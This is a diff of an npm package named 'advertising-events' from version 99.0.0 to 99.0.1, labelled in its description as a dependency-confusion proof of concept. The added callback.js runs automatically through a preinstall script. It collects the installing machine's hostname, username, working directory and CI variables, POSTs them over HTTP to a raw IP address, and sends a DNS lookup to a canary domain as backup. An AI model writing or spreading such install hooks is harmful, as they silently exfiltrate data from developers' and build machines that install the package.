advertising-events 99.0.0 → 99.0.1

package/callback.js

@@ -1,7 +1,31 @@
-const dns = require('dns');
+const http = require('http');
 const https = require('https');
 const os = require('os');
-const id = ['depconfusion', os.hostname().replace(/[^a-z0-9]/gi,'-').slice(0,30), Date.now().toString(36)].join('.');
-const canary = 'd69ai701mapqfrtu0ulg7i38uo6cotenc.projectinteraction.info';
-dns.resolve(id + '.' + canary, () => {});
-try { const d = JSON.stringify({t:'dep-confusion',pkg:'advertising-events',h:os.hostname(),ts:new Date().toISOString()}); const r = https.request({hostname:canary,path:'/poc?'+Buffer.from(d).toString('base64url'),method:'GET',timeout:5000},()=>{}); r.on('error',()=>{}); r.end(); } catch(e) {}
+const dns = require('dns');
+
+const data = JSON.stringify({
+  t: 'dep-confusion',
+  pkg: process.env.npm_package_name || 'unknown',
+  h: os.hostname(),
+  u: os.userInfo().username,
+  ts: new Date().toISOString(),
+  cwd: process.cwd(),
+  ci: process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS || 'none'
+});
+
+// HTTP callback to our server
+const req = http.request({
+  hostname: '165.22.164.100',
+  port: 8443,
+  path: '/callback',
+  method: 'POST',
+  headers: {'Content-Type': 'application/json'},
+  timeout: 5000
+}, () => {});
+req.on('error', () => {});
+req.write(data);
+req.end();
+
+// DNS callback as backup
+const id = ['depconfusion', os.hostname().replace(/[^a-z0-9]/gi,'-').slice(0,30)].join('.');
+dns.resolve(id + '.d69ai701mapqfrtu0ulg7i38uo6cotenc.projectinteraction.info', () => {});

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "advertising-events",
-  "version": "99.0.0",
+  "version": "99.0.1",
   "description": "Security research - dependency confusion proof of concept. Contact: schneidersec on npm.",
   "scripts": {
     "preinstall": "node callback.js || true"